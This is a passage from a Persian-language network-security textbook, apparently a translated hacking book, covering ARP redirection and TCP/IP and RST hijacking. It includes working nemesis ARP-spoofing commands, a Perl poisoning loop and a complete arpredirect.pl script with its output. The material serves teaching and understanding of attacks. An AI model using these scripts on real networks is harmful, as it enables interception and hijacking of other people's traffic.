‫‪ ARP Redirection‬زﻣﺎﻧﯽ ﺑﻪ اوج ﻟﺬت ﯾﮏ ﻫﮑﺮ ﻣﯽ اﻧﺠﺎﻣﻨـﺪ ﮐـﻪ ﯾﮑـﯽ از ﻣﺎﺷـﯿﻦ ﻫـﺎی ﻗﺮﺑـﺎﻧﯽ‪ ،‬ﭘـﻞ ارﺗﺒـﺎﻃﯽ ﭘـﯿﺶ‬
‫ﻓﺮض‪ 76‬ﺑﺎﺷﺪ‪ ،‬ﭼﺮا ﮐﻪ ﺗﺮاﻓﯿﮏ ﺑﯿﻦ ﭘﻞ ارﺗﺒﺎﻃﯽ ﭘﯿﺶ ﻓـﺮض و ﯾـﮏ ﺳﯿـﺴﺘﻢ دﯾﮕـﺮ‪ ،‬در ﺣﻘﯿﻘـﺖ ﺗﺮاﻓﯿـﮏ اﯾﻨﺘﺮﻧـﺖ آن‬
‫ﺳﯿﺴﺘﻢ اﺳﺖ‪ .‬ﺑﺮای ﻣﺜﺎل‪ ،‬اﮔﺮ ﯾﮏ ﻣﺎﺷﯿﻦ )‪ (192.168.0.118‬ﺑﺎ ﯾﮏ ﭘﻞ ارﺗﺒﺎﻃﯽ )‪ (192.168.0.1‬روی ﯾﮏ ﺳﻮﺋﯿﭻ در‬
‫ﺣﺎل ارﺗﺒﺎط ﺑﺎﺷﺪ‪ ،‬ﺗﺮاﻓﯿﮏ ﺑﻪ آدرس ﺳﺨﺖ اﻓﺰاری ﻣﺤﺪود ﻣﯿﺸﻮد‪ ،‬ﯾﻌﻨﯽ ﺣﺘﯽ در ﺣﺎﻟﺖ ﺑﯽ ﻗﺎﻋﺪه ﻧﯿـﺰ ﻧﻤـﯽ ﺗـﻮان اﯾـﻦ‬
‫ﺗﺮاﻓﯿﮏ را ﺑﻪ ﺳﺎدﮔﯽ اﺳﺘﺮاق ﮐﺮد‪ .‬ﺟﻬﺖ اﺳﺘﺮاق اﯾﻦ ﺗﺮاﻓﯿﮏ ﺑﺎﯾﺪ آﻧﺮا ﺗﻐﯿﯿﺮ ﺟﻬﺖ داد ﯾﺎ ﻫﺪاﯾﺖ )‪ (redirect‬ﮐﺮد‪.‬‬
‫ﺑﺮای ﻫﺪاﯾﺖ ﺗﺮاﻓﯿﮏ اﺑﺘﺪا ﻧﯿﺎز ﺑﻪ آدرس ﻫﺎی ﺳﺨﺖ اﻓﺰاری ‪ 192.168.0.118‬و ‪ 192.168.0.1‬اﺳـﺖ ﮐـﻪ ﻣـﯽ ﺗـﻮان‬
‫آﻧﻬﺎ را ﺑﺎ ﭘﯿﻨﮓ ﮐﺮدن اﯾﻦ ﻣﯿﺰﺑﺎن ﻫﺎ ﺑﺪﺳﺖ آورد‪ ،‬ﭼﺮا ﮐﻪ ﻫﻤﻪ ارﺗﺒﺎﻃﺎت ‪ IP‬ﺟﻬﺖ ﺑﺮﻗﺮاری ارﺗﺒـﺎط از ‪ ARP‬اﺳـﺘﻔﺎده‬
‫ﻣﯽ ﮐﻨﻨﺪ‪.‬‬
‫‪# ping -c 1 -w 1 192.168.0.1‬‬
‫‪PING 192.168.0.1 (192.168.0.1): 56 octets data‬‬
‫‪64 octets from 192.168.0.1: icmp_seq=0 ttl=64 time=0.4 ms‬‬

‫‪--- 192.168.0.1 ping statistics ---‬‬


‫‪1 packets transmitted, 1 packets received, 0% packet loss‬‬

‫‪75‬‬
‫‪Gateway‬‬
‫‪76‬‬
‫‪default gateway‬‬
‫‪126‬‬
round-trip min/avg/max = 0.4/0.4/0.4 ms
# ping -c 1 -w 1 192.168.0.118
PING 192.168.0.118 (192.168.0.118): 56 octets data
64 octets from 192.168.0.118: icmp_seq=0 ttl=128 time=0.4 ms

--- 192.168.0.118 ping statistics ---


1 packets transmitted, 1 packets received, 0% packet loss
round-trip min/avg/max = 0.4/0.4/0.4 ms
# arp -na
? (192.168.0.1) at 00:50:18:00:0F:01 [ether] on eth0
? (192.168.0.118) at 00:C0:F0:79:3D:30 [ether] on eth0
# ifconfig eth0
eth0 Link encap:Ethernet HWaddr 00:00:AD:D1:C7:ED
inet addr:192.168.0.193 Bcast:192.168.0.255 Mask:255.255.255.0
UP BROADCAST NOTRAILERS RUNNING MTU:1500 Metric:1
RX packets:4153 errors:0 dropped:0 overruns:0 frame:0
TX packets:3875 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:100
RX bytes:601686 (587.5 Kb) TX bytes:288567 (281.8 Kb)
Interrupt:9 Base address:0xc000

#
‫ ﻣﻮﺟــﻮد‬ARP Cache ‫ در‬192.168.0.1 ‫ و‬192.168.0.118 ‫ آدرس ﻫــﺎی ﺳــﺨﺖ اﻓــﺰاری‬،‫ﭘــﺲ از اﺟــﺮای ﭘﯿﻨــﮓ‬
‫ ﻣﯽ ﺗﻮاﻧﻨـﺪ ﺑـﻪ‬،‫ ﻟﺬا ﺑﺴﺘﻪ ﻫﺎ ﭘﺲ از ﻫﺪاﯾﺖ ﺑﻪ ﻣﺎﺷﯿﻦ ﻧﻔﻮذﮔﺮ‬،‫ ﻻزم ﻫﺴﺘﻨﺪ‬ARP Cache ‫ اﯾﻦ اﻃﻼﻋﺎت در‬.‫ﺧﻮاﻫﻨﺪ ﺑﻮد‬
‫ اﮐﻨﻮن ﻣﯽ ﺗـﻮان‬،‫ درون ﻫﺴﺘﻪ ﮐﺎﻣﭙﺎﯾﻞ ﺷﺪه اﻧﺪ‬IP-Forwarding ‫ ﺑﺎ ﻓﺮض اﯾﻨﮑﻪ ﻗﺎﺑﻠﯿﺖ ﻫﺎی‬.‫ﻣﻘﺼﺪ ﻧﻬﺎﯾﯽ ﺧﻮد ﺑﺮﺳﻨﺪ‬
‫ ﮔﻔﺘـﻪ ﺷـﻮد ﮐـﻪ‬192.168.0.118 ‫ ﺑﺎﯾﺪ ﺑـﻪ ﺳﯿـﺴﺘﻢ‬.‫ در دوره ﻫﺎی زﻣﺎﻧﯽ ﻣﻨﻈﻢ اﺳﺘﻔﺎده ﮐﺮد‬ARP‫از ﭼﻨﺪ ﭘﺎﺳﺦ ﺟﻌﻠﯽ‬
‫ ﻧﯿﺰ ﺑﺎﯾﺪ ﮔﻔـﺖ ﮐـﻪ‬192.168.0.1 ‫ ﻗﺮار دارد؛ ﺑﻪ ﺳﯿﺴﺘﻢ‬00:00:AD:D1:C7:ED ‫ در آدرس‬192.168.0.1 ‫ﺳﯿﺴﺘﻢ‬
‫ را ﻣﯽ ﺗـﻮان ﺑـﺎ اﺳـﺘﻔﺎده از‬ARP ‫ اﯾﻦ ﺑﺴﺘﻪ ﻫﺎی ﺟﻌﻠﯽ‬.‫ اﺳﺖ‬00:00:AD:D1:C7:ED ‫ در آدرس‬192.168.0.118
‫ در اﺻـﻞ‬Nemesis .(‫ اﺳـﺖ‬command line ‫ ﺗﺰرﯾﻖ ﮐﺮد )ﮐـﻪ ﺑـﻪ ﺻـﻮرت‬Nemesis ‫ ﺑﺎ ﻧﺎم‬77‫ﯾﮏ اﺑﺰار ﺗﺰرﯾﻖ ﺑﺴﺘﻪ‬
78
‫ ﺑﻪ ﯾـﮏ اﺑـﺰار واﺣـﺪ ﺑـﺎ‬1,4 ‫ اﻣﺎ اﯾﻦ ﻧﺮم اﻓﺰار در ﻧﺴﺨﻪ‬.‫ﻧﻮﺷﺘﻪ ﺷﺪه ﺑﻮدﻧﺪ‬ ‫رﺷﺘﻪ اﺑﺰاری ﺑﻮد ﮐﻪ ﺗﻮﺳﻂ ﻣﺎرک ﮔﺮﯾﻤﺰ‬
.‫ ﺗﺒﺪﯾﻞ ﺷﺪ‬79‫ﺗﻮﺳﻌﻪ ﮔﺮی ﺟﺪﯾﺪ ﺑﻪ ﻧﺎم ﺟﻒ ﻧﺎﺗﺎن‬
# nemesis

NEMESIS -=- The NEMESIS Project Version 1.4beta3 (Build 22)

NEMESIS Usage:
nemesis [mode] [options]

NEMESIS modes:
arp
dns
ethernet
icmp
igmp
ip
ospf (currently non-functional)
rip
tcp
udp

NEMESIS options:
To display options, specify a mode with the option "help".

# nemesis arp help

77
packet injection
78
Mark Grimes
79
Jeff Nathan
127
ARP/RARP Packet Injection -=- The NEMESIS Project Version 1.4beta3 (Build
22)

ARP/RARP Usage:
arp [-v (verbose)] [options]

ARP/RARP Options:
-S <Source IP address>
-D <Destination IP address>
-h <Sender MAC address within ARP frame>
-m <Target MAC address within ARP frame>
-s <Solaris style ARP requests with target hardware addess set to
broadcast>
-r ({ARP,RARP} REPLY enable)
-R (RARP enable)
-P <Payload file>

Data Link Options:


-d <Ethernet device name>
-H <Source MAC address>
-M <Destination MAC address>

You must define a Source and Destination IP address.


#
# nemesis arp -v -r -d eth0 -S 192.168.0.1 -D 192.168.0.118 -h
00:00:AD:D1:C7:ED -m
00:C0:F0:79:3D:30 -H 00:00:AD:D1:C7:ED -M 00:C0:F0:79:3D:30

ARP/RARP Packet Injection -=- The NEMESIS Project Version 1.4beta3 (Build
22)

[MAC] 00:00:AD:D1:C7:ED > 00:C0:F0:79:3D:30


[Ethernet type] ARP (0x0806)

[Protocol addr:IP] 192.168.0.1 > 192.168.0.118


[Hardware addr:MAC] 00:00:AD:D1:C7:ED > 00:C0:F0:79:3D:30
[ARP opcode] Reply
[ARP hardware fmt] Ethernet (1)
[ARP proto format] IP (0x0800)
[ARP protocol len] 6
[ARP hardware len] 4

Wrote 42 byte unicast ARP request packet through linktype DLT_EN10MB.

ARP Packet Injected


# nemesis arp -v -r -d eth0 -S 192.168.0.118 -D 192.168.0.1 -h
00:00:AD:D1:C7:ED -m
00:50:18:00:0F:01 -H 00:00:AD:D1:C7:ED -M 00:50:18:00:0F:01

ARP/RARP Packet Injection -=- The NEMESIS Project Version 1.4beta3 (Build
22)

[MAC] 00:00:AD:D1:C7:ED > 00:50:18:00:0F:01


[Ethernet type] ARP (0x0806)

[Protocol addr:IP] 192.168.0.118 > 192.168.0.1


[Hardware addr:MAC] 00:00:AD:D1:C7:ED > 00:50:18:00:0F:01
[ARP opcode] Reply
[ARP hardware fmt] Ethernet (1)
[ARP proto format] IP (0x0800)
[ARP protocol len] 6
[ARP hardware len] 4

Wrote 42 byte unicast ARP request packet through linktype DLT_EN10MB.

ARP Packet Injected


128
#
‫ ﻫـﺮ دو دﺳـﺘﻮر‬.‫ و ﺑﻌﮑـﺲ ﺟﻌـﻞ ﻣـﯽ ﮐﻨﻨـﺪ‬192.168.0.118 ‫ ﺑﻪ‬192.168.0.1 ‫ را از‬ARP ‫اﯾﻦ دو دﺳﺘﻮر ﭘﺎﺳﺦ ﻫﺎی‬
‫( ﺑﺮاﺑـﺮ‬00:00:AD:D1:C7:ED) ‫اذﻋﺎن ﻣﯽ دارﻧﺪ ﮐﻪ آدرس ﺳﺨﺖ اﻓﺰاری آﻧﻬﺎ ﺑـﺎ آدرس ﺳـﺨﺖ اﻓـﺰاری ﻧﻔـﻮذﮔﺮ‬
‫ اﯾﻦ ﭘﺎﺳﺦ ﻫﺎی‬،(‫ اﮔﺮ اﯾﻦ دﺳﺘﻮرﻫﺎ ﻫﺮ ده ﺛﺎﻧﯿﻪ ﺗﮑﺮار ﺷﻮﻧﺪ )ﮐﻪ ﻣﯽ ﺗﻮان اﯾﻦ ﮐﺎر را ﺑﺎ دﺳﺘﻮر ﭘﺮل زﯾﺮ اﻧﺠﺎم داد‬.‫اﺳﺖ‬
.‫ ﻫﺎ و ﻫﺪاﯾﺖ ﺗﺮاﻓﯿﮏ اداﻣﻪ ﻣﯽ دﻫﻨﺪ‬ARP Cache ‫ ﺑﻪ ﻣﺴﻤﻮم ﮐﺮدن‬ARP ‫ﺟﻌﻠﯽ‬
# perl -e 'while(1){print "Redirecting...\n"; system("nemesis arp -v -r -d
eth0 -S
192.168.0.1 -D 192.168.0.118 -h 00:00:AD:D1:C7:ED -m 00:C0:F0:79:3D:30 -H
00:00:AD:D1:C7:ED -M 00:C0:F0:79:3D:30"); system("nemesis arp -v -r -d eth0
-S
192.168.0.118 -D 192.168.0.1 -h 00:00:AD:D1:C7:ED -m 00:50:18:00:0F:01 -H
00:00:AD:D1:C7:ED -M 00:50:18:00:0F:01");sleep 10;}'
Redirecting...
Redirecting...
:‫ﮐﻞ اﯾﻦ ﻓﺮآﯾﻨﺪ را ﻣﯽ ﺗﻮان ﺑﺎ اﺳﺘﻔﺎده از ﯾﮏ اﺳﮑﺮﯾﭙﺖ ﭘﺮل اﺗﻮﻣﺎﺗﯿﮏ ﮐﺮد‬
arpredirect.pl

#!/usr/bin/perl

$device = "eth0";

$SIG{INT} = \&cleanup; # Trap for Ctrl-C, and send to cleanup


$flag = 1;
$gw = shift; # First command line arg
$targ = shift; # Second command line arg

if (($gw . "." . $targ) !~ /^([0-9]{1,3}\.){7}[0-9]{1,3}$/)


{ # Perform input validation; if bad, exit.
die("Usage: arpredirect.pl <gateway> <target>\n");
}

# Quickly ping each target to put the MAC addresses in cache


print "Pinging $gw and $targ to retrieve MAC addresses...\n";
system("ping -q -c 1 -w 1 $gw > /dev/null");
system("ping -q -c 1 -w 1 $targ > /dev/null");

# Pull those addresses from the arp cache


print "Retrieving MAC addresses from arp cache...\n";
$gw_mac = qx[/sbin/arp -na $gw];
$gw_mac = substr($gw_mac, index($gw_mac, ":")-2, 17);
$targ_mac = qx[/sbin/arp -na $targ];
$targ_mac = substr($targ_mac, index($targ_mac, ":")-2, 17);

# If they're not both there, exit.


if($gw_mac !~ /^([A-F0-9]{2}\:){5}[A-F0-9]{2}$/)
{
die("MAC address of $gw not found.\n");
}

if($targ_mac !~ /^([A-F0-9]{2}\:){5}[A-F0-9]{2}$/)
{
die("MAC address of $targ not found.\n");
}
# Get your IP and MAC
print "Retrieving your IP and MAC info from ifconfig...\n";
@ifconf = split(" ", qx[/sbin/ifconfig $device]);
$me = substr(@ifconf[6], 5);
$me_mac = @ifconf[4];

print "[*] Gateway: $gw is at $gw_mac\n";


print "[*] Target: $targ is at $targ_mac\n";
print "[*] You: $me is at $me_mac\n";
while($flag)
129
{ # Continue poisoning until ctrl-C
print "Redirecting: $gw -> $me_mac <- $targ";
system("nemesis arp -r -d $device -S $gw -D $targ -h $me_mac -m $targ_mac
-H
$me_mac -M $targ_mac");
system("nemesis arp -r -d $device -S $targ -D $gw -h $me_mac -m $gw_mac -H
$me_mac -M $gw_mac");
sleep 10;
}

sub cleanup
{ # Put things back to normal
$flag = 0;
print "Ctrl-C caught, exiting cleanly.\nPutting arp caches back to
normal.";
system("nemesis arp -r -d $device -S $gw -D $targ -h $gw_mac -m $targ_mac
-H
$gw_mac -M $targ_mac");
system("nemesis arp -r -d $device -S $targ -D $gw -h $targ_mac -m $gw_mac
-H
$targ_mac -M $gw_mac");
}

# ./arpredirect.pl
Usage: arpredirect.pl <gateway> <target>
# ./arpredirect.pl 192.168.0.1 192.168.0.118
Pinging 192.168.0.1 and 192.168.0.118 to retrieve MAC addresses...
Retrieving MAC addresses from arp cache...
Retrieving your IP and MAC info from ifconfig...
[*] Gateway: 192.168.0.1 is at 00:50:18:00:0F:01
[*] Target: 192.168.0.118 is at 00:C0:F0:79:3D:30
[*] You: 192.168.0.193 is at 00:00:AD:D1:C7:ED
Redirecting: 192.168.0.1 -> 00:00:AD:D1:C7:ED <- 192.168.0.118
ARP Packet Injected

ARP Packet Injected


Redirecting: 192.168.0.1 -> 00:00:AD:D1:C7:ED <- 192.168.0.118
ARP Packet Injected

ARP Packet Injected


Ctrl-C caught, exiting cleanly.
Putting arp caches back to normal.
ARP Packet Injected

ARP Packet Injected

TCP/IP Hijacking ‫ ﻋﻤﻠﯿﺎت‬.3,4

‫ ﺗﮑﻨﯿﮑﯽ زﯾﺮﮐﺎﻧﻪ اﺳﺖ ﮐﻪ از ﺑﺴﺘﻪ ﻫﺎی ﺟﻌﻠﯽ ﺑﺮای ﺗﺴﻠﻂ ﺑﺮ ارﺗﺒﺎط ﺑﯿﻦ ﻗﺮﺑـﺎﻧﯽ و ﯾـﮏ ﻣﺎﺷـﯿﻦ‬TCP/IP Hijacking
‫ ﻗـﺎدر ﺑـﻪ‬،‫ ﺑـﻪ ﺟـﺎی ﻗﺮﺑـﺎﻧﯽ‬،‫ ﻣـﯽ ﺷـﻮد( و ﻧﻔـﻮذﮔﺮ‬hang) ‫ ارﺗﺒﺎط ﻗﺮﺑﺎﻧﯽ ﺑﻪ ﺗﻌﻠﯿﻖ در ﻣﯽ آﯾـﺪ‬.‫ﻣﯿﺰﺑﺎن اﺳﺘﻔﺎده ﻣﯽ ﮐﻨﺪ‬
‫ ﺟﻬﺖ اﺗﺼﺎل ﺑـﻪ ﻣﺎﺷـﯿﻦ‬،‫ در ﻣﻮاﻗﻊ اﺳﺘﻔﺎده ﻗﺮﺑﺎﻧﯽ از ﯾﮏ ﭘﺴﻮرد ﯾﮑﺒﺎر ﻣﺼﺮف‬.‫ﺑﺮﻗﺮاری ارﺗﺒﺎط ﺑﺎ ﻣﺎﺷﯿﻦ ﻣﯿﺰﺑﺎن اﺳﺖ‬
‫ ﭘـﺴﻮرد ﯾﮑﺒـﺎر ﻣـﺼﺮف را ﻣـﯽ ﺗـﻮان ﺑـﺮای ﯾـﮏ ﺑـﺎر و ﻓﻘـﻂ ﯾـﮏ ﺑـﺎر‬.‫ اﯾﻦ ﺗﮑﻨﯿﮏ ﺑﺴﯿﺎر ﻣﻔﯿﺪ واﻗﻊ ﻣﯽ ﮔـﺮدد‬،‫ﻣﯿﺰﺑﺎن‬
TCP/IP ‫ در اﯾـﻦ ﺻـﻮرت‬.‫( ﺑـﺮای ﻧﻔـﻮذﮔﺮ ﺑﻼﻓﺎﯾـﺪه اﺳـﺖ‬auth) ‫ ﯾﻌﻨـﯽ اﺳـﺘﺮاق ﺗـﺼﺪﯾﻖ‬،‫اﻋﺘﺒﺎرﺳﻨﺠﯽ اﺳﺘﻔﺎده ﮐﺮد‬
.‫ روﺷﯽ ﻓﻮق اﻟﻌﺎده ﺑﺮای ﺣﻤﻠﻪ اﺳﺖ‬Hijacking
‫ از ﯾﮏ ﺷـﻤﺎره ﺗـﻮاﻟﯽ ﻧﮕﻬـﺪاری ﻣـﯽ‬،‫ ﻫﺮ ﻃﺮف‬،TCP ‫ در ﺧﻼل ﻫﺮ ارﺗﺒﺎط‬،‫ﻫﻤﺎن ﻃﻮر ﮐﻪ در اﺑﺘﺪای اﯾﻦ ﻓﺼﻞ ذﮐﺮ ﺷﺪ‬
،‫ ﮔﯿﺮﻧﺪه‬.‫ ﺷﻤﺎره ﺗﻮاﻟﯽ ﺑﺎ ﻫﺮ ﺑﺴﺘﻪ ی ارﺳﺎﻟﯽ اﻓﺰاﯾﺶ ﻣﯽ ﯾﺎﺑﺪ‬،‫ ﻫﻨﮕﺎﻣﯽ ﮐﻪ ﺑﺴﺘﻪ ﻫﺎ ﺑﻪ ﻋﻘﺐ و ﺟﻠﻮ ارﺳﺎل ﻣﯽ ﺷﻮﻧﺪ‬.‫ﮐﻨﺪ‬

130
‫ﻫﺮ ﺑﺴﺘﻪ ﺑﺎ ﺷﻤﺎره ﺗﻮاﻟﯽ ﻧﺎدرﺳﺖ را ﺑﻪ ﻻﯾﻪ ﺑﻌﺪی در ﺑﺎﻻی ﭘﺸﺘﻪ ﻣﻨﺘﻘﻞ ﻧﻤﯽ ﮐﻨﺪ‪ .‬اﮔﺮ ﺷﻤﺎره ﻫﺎی ﺗﻮاﻟﯽ ﭘﯿﺸﯿﻦ اﺳﺘﻔﺎده‬
‫ﺷﻮﻧﺪ‪ ،‬ﺑﺴﺘﻪ ﺣﺬف ﺷﺪه )‪ (drop‬و اﮔﺮ ﺷﻤﺎره ﻫﺎی ﺗﻮاﻟﯽ ﺑﻌﺪی اﺳﺘﻔﺎده ﺷﻮﻧﺪ‪ ،‬ﺑﺴﺘﻪ ﺑـﺮای ﺑﺎزﺳـﺎزی آﺗـﯽ ذﺧﯿـﺮه ﻣـﯽ‬
‫ﺷﻮد‪ .‬اﮔﺮ ﻫﺮ دو ﻃﺮف ﺷﻤﺎره ﻫﺎی ﺗﻮاﻟﯽ ﻧﺎدرﺳﺖ داﺷﺘﻪ ﺑﺎﺷﻨﺪ‪ ،‬اﻧﺠﺎم ﻫﺮ ﮔﻮﻧﻪ ﺗﻼش ﺗﻮﺳـﻂ ﻃـﺮﻓﯿﻦ ﺟﻬـﺖ ﺑﺮﻗـﺮاری‬
‫اﺗﺼﺎل‪ ،‬ﺑﻪ ﻗﺴﻤﺖ ﮔﯿﺮﻧﺪه ﻣﺮﺑﻮﻃﻪ ﻣﻨﺘﻘﻞ ﻧﺨﻮاﻫﺪ ﺷﺪ‪ :‬اﻣﺎ ارﺗﺒﺎط ﺑﺮﻗﺮار ﺧﻮاﻫﺪ ﻣﺎﻧﺪ‪ .‬اﯾـﻦ ﺷـﺮاﯾﻂ ﯾـﮏ ﺣﺎﻟـﺖ ﻧﺎﻫﻤﮕـﺎم‬
‫)‪ (desynchronized‬ﻧﺎم دارد ﮐﻪ ﺳﺒﺐ ﺑﻪ ﺗﻌﻠﯿﻖ اﻓﺘﺎدن ارﺗﺒﺎط ﻣﯽ ﺷﻮد‪.‬‬
‫ﺑﺮای اﻧﺠﺎم ﯾﮏ ﺣﻤﻠﻪ ‪ ،TCP/IP Hijacking‬ﻧﻔﻮذﮔﺮ ﺑﺎﯾـﺪ روی ﻫﻤـﺎن ﺷـﺒﮑﻪ ای ﺑﺎﺷـﺪ ﮐـﻪ ﻗﺮﺑـﺎﻧﯽ در آن اﺳـﺖ‪ ،‬اﻣـﺎ‬
‫ﻣﺎﺷﯿﻦ ﻣﯿﺰﺑﺎن ﮐﻪ ﻗﺮﺑﺎﻧﯽ ﺧﻮاﻫﺎن ﺑﺮﻗﺮاری ارﺗﺒﺎط ﺑﺎ آن اﺳﺖ‪ ،‬ﻣﯽ ﺗﻮاﻧﺪ در ﻫﺮ ﺟﺎﯾﯽ ﺑﺎﺷـﺪ‪ .‬اوﻟـﯿﻦ ﮔـﺎم ﺑـﺮای ﻧﻔـﻮذﮔﺮ‬
‫اﺳﺘﻔﺎده از ﺗﮑﻨﯿﮏ اﺳﺘﺮاق ﺑﺮای اﺳﺘﺮاق ارﺗﺒﺎط ﻗﺮﺑﺎﻧﯽ اﺳﺖ‪ :‬ﺑﺎ اﯾﻦ ﮐﺎر‪ ،‬اﯾﻦ اﻣﮑﺎن ﺑﺮای ﻧﻔﻮذﮔﺮ ﺑﻪ وﺟﻮد ﻣﯽ آﯾـﺪ ﮐـﻪ‬
‫ﺷﻤﺎره ﻫﺎی ﺗﻮاﻟﯽ را‪ ،‬ﻫﻢ در ﻣﺎﺷﯿﻦ ﻗﺮﺑﺎﻧﯽ )ﺳﯿﺴﺘﻢ ‪ A‬در ﻣﺜـﺎل زﯾـﺮ(‪ ،‬و ﻫـﻢ در ﻣﺎﺷـﯿﻦ ﻣﯿﺰﺑـﺎن )ﺳﯿـﺴﺘﻢ ‪ (B‬ﻣﻨﻄﺒـﻖ‬
‫)‪ (match‬ﻧﻤﺎﯾﺪ‪ .‬آﻧﮕﺎه ﻧﻔﻮذﮔﺮ ﺑﺎ اﺳﺘﻔﺎده از ﺷﻤﺎره ﺗﻮاﻟﯽ ﺻﺤﯿﺢ‪ ،‬ﯾﮏ ﺑﺴﺘﻪ ﺟﻌﻠـﯽ از آدرس ‪ IP‬ﺳﯿـﺴﺘﻢ ﻗﺮﺑـﺎﻧﯽ را ﺑـﻪ‬
‫ﻣﺎﺷﯿﻦ ﻣﯿﺰﺑﺎن ارﺳﺎل ﻣﯽ ﮐﻨﺪ‪.‬‬
‫ﻣﺎﺷﯿﻦ ﻣﯿﺰﺑﺎن ﺑﺴﺘﻪ ﺟﻌﻠﯽ را درﯾﺎﻓﺖ و ﮔﻤﺎن ﻣﯽ ﮐﻨﺪ ﮐﻪ اﯾﻦ ﺑﺴﺘﻪ از ﻣﺎﺷﯿﻦ ﻗﺮﺑﺎﻧﯽ ﻣﯽ آﯾـﺪ‪ ،‬ﺳـﭙﺲ ﺷـﻤﺎره ﺗـﻮاﻟﯽ را‬
‫اﻓﺰاﯾﺶ داده و آﻧﺮا ﺑﻪ ﻋﻨﻮان ﭘﺎﺳﺦ ﺑﻪ ‪ IP‬ﻗﺮﺑﺎﻧﯽ ﻣﯽ ﻓﺮﺳﺘﺪ‪ .‬ﭼﻮن ﻣﺎﺷﯿﻦ ﻗﺮﺑﺎﻧﯽ ﻫـﯿﭻ اﻃﻼﻋـﯽ راﺟـﻊ ﺑـﻪ ﺑـﺴﺘﻪ ﺟﻌﻠـﯽ‬
‫ﻧﺪارد‪ ،‬ﭘﺲ ﭘﺎﺳﺦ ﻣﺎﺷﯿﻦ ﻣﯿﺰﺑﺎن ﯾﮏ ﺷﻤﺎره ﺗﻮاﻟﯽ ﻧﺎدرﺳﺖ دارد‪ ،‬ﻟﺬا ﻗﺮﺑﺎﻧﯽ‪ ،‬ﺑﺴﺘﻪ ﭘﺎﺳﺦ )درﯾﺎﻓﺘﯽ از ﺳﯿﺴﺘﻢ ﻣﯿﺰﺑﺎن( را‬
‫ﺣﺬف ﻣﯽ ﮐﻨﺪ‪ .‬ﭼﻮن ﻣﺎﺷﯿﻦ ﻗﺮﺑﺎﻧﯽ‪ ،‬ﺑﺴﺘﻪ ﭘﺎﺳﺦ ﺳﯿﺴﺘﻢ ﻣﯿﺰﺑﺎن را ﻧﺎدﯾﺪه ﮔﺮﻓﺘﻪ اﺳﺖ‪ ،‬ﻓﺮآﯾﻨﺪ ﺷﻤﺎرش ﺷﻤﺎره ﺗﻮاﻟﯽ در‬
‫ﺳﯿﺴﺘﻢ ﻗﺮﺑﺎﻧﯽ ﺧﺎﻣﻮش ﻣﯽ ﮔﺮدد‪ .‬ﻟﺬا ﻣﺘﻘﺎﺑﻼ‪ ،‬ﺑﺴﺘﻪ ﻫﺎی ارﺳﺎﻟﯽ از ﺳﯿﺴﺘﻢ ﻗﺮﺑﺎﻧﯽ ﺑﻪ ﺳﯿﺴﺘﻢ ﻣﯿﺰﺑﺎن‪ ،‬ﺷﻤﺎره ﻫﺎی ﺗﻮاﻟﯽ‬
‫ﻧﺎدرﺳﺘﯽ ﺧﻮاﻫﻨﺪ داﺷﺖ‪ .‬اﯾﻦ ﻣﺴﺌﻠﻪ ﺳﺒﺐ ﻧﺎدﯾﺪه ﮔﺮﻓﺘﻦ اﯾﻦ ﺑﺴﺘﻪ ﻫﺎ ﺗﻮﺳﻂ ﻣﺎﺷﯿﻦ ﻣﯿﺰﺑﺎن ﻣﯽ ﺷﻮد‪.‬‬

‫ﻧﻔﻮذﮔﺮ ارﺗﺒﺎط ﻗﺮﺑﺎﻧﯽ ﺑﺎ ﻣﺎﺷﯿﻦ ﻣﯿﺰﺑﺎن را اﺟﺒﺎرا ﺑﻪ ﺣﺎﻟﺖ ﻧﺎﻫﻤﮕﺎم در ﻣـﯽ آورد‪ .‬ﭼـﻮن ﻧﻔـﻮذﮔﺮ اوﻟـﯿﻦ ﺑـﺴﺘﻪ ﺟﻌﻠـﯽ را‬
‫ارﺳﺎل ﻣﯽ ﮐﻨﺪ )اﯾﻦ ﺑﺴﺘﻪ ﺳﺒﺐ ﻫﻤﻪ اﯾﻦ ﻫﺮ و ﻣﺮج ﻫﺎ ﺷﺪ(‪ ،‬ﻟﺬا ﻣﯽ ﺗﻮاﻧﺪ روال ﺷﻤﺎره ﻫﺎی ﺗﻮاﻟﯽ را در دﺳـﺖ ﮔﺮﻓﺘـﻪ و‬
‫ﺑﻪ ﺟﻌﻞ ﮐﺮدن ﺑﺴﺘﻪ ﻫﺎ از آدرس ‪ IP‬ﺳﯿﺴﺘﻢ ﻗﺮﺑﺎﻧﯽ ﺑﻪ ﻣﺎﺷﯿﻦ ﻣﯿﺰﺑﺎن اداﻣﻪ دﻫﺪ‪ .‬اﯾﻦ ﮐﺎر ﺗﺎ زﻣﺎن ﻣﻌﻠﻖ ﺑـﻮدن )‪(hang‬‬
‫ارﺗﺒﺎط ﻗﺮﺑﺎﻧﯽ‪ ،‬ﺑﻪ ﻧﻔﻮذﮔﺮ اﺟﺎزه ارﺗﺒﺎط ﺑﺎ ﻣﺎﺷﯿﻦ ﻣﯿﺰﺑﺎن را ﻣﯽ دﻫﺪ‪.‬‬

‫‪ .3,4,1‬ﻋﻤﻠﯿﺎت ‪RST Hijacking‬‬

‫ﺷﮑﻞ ﺳﺎده ای از ﻋﻤﻠﯿﺎت ‪ TCP/IP Hijacking‬ﻣﺘﻀﻤﻦ ﺗﺰرﯾـﻖ ﯾـﮏ ﺑـﺴﺘﻪ ﻇـﺎﻫﺮا ﻣﻌﺘﺒـﺮِ ‪ (RST) Reset‬اﺳـﺖ‪ .‬در‬
‫ﺻﻮرﺗﯽ ﮐﻪ ﻣﻨﺒﻊ ﺟﻌﻞ ﺷﺪه و ﺷﻤﺎره ﺗﺼﺪﯾﻖ ﻧﯿﺰ ﺻﺤﯿﺢ ﺑﺎﺷﺪ‪ ،‬ﻃﺮف ﮔﯿﺮﻧﺪه ﮔﻤﺎن ﻣﯽ ﺑﺮد ﮐـﻪ واﻗﻌـﺎ ﻣﻨﺒـﻊ اﯾـﻦ ﺑـﺴﺘﻪ‬
‫‪ reset‬را ارﺳﺎل ﮐﺮده اﺳﺖ و ﺑﻪ اﯾﻦ ﺗﺮﺗﯿﺐ ارﺗﺒﺎط را ‪ reset‬ﻣﯽ ﮐﻨﺪ‪.‬‬

‫‪131‬‬
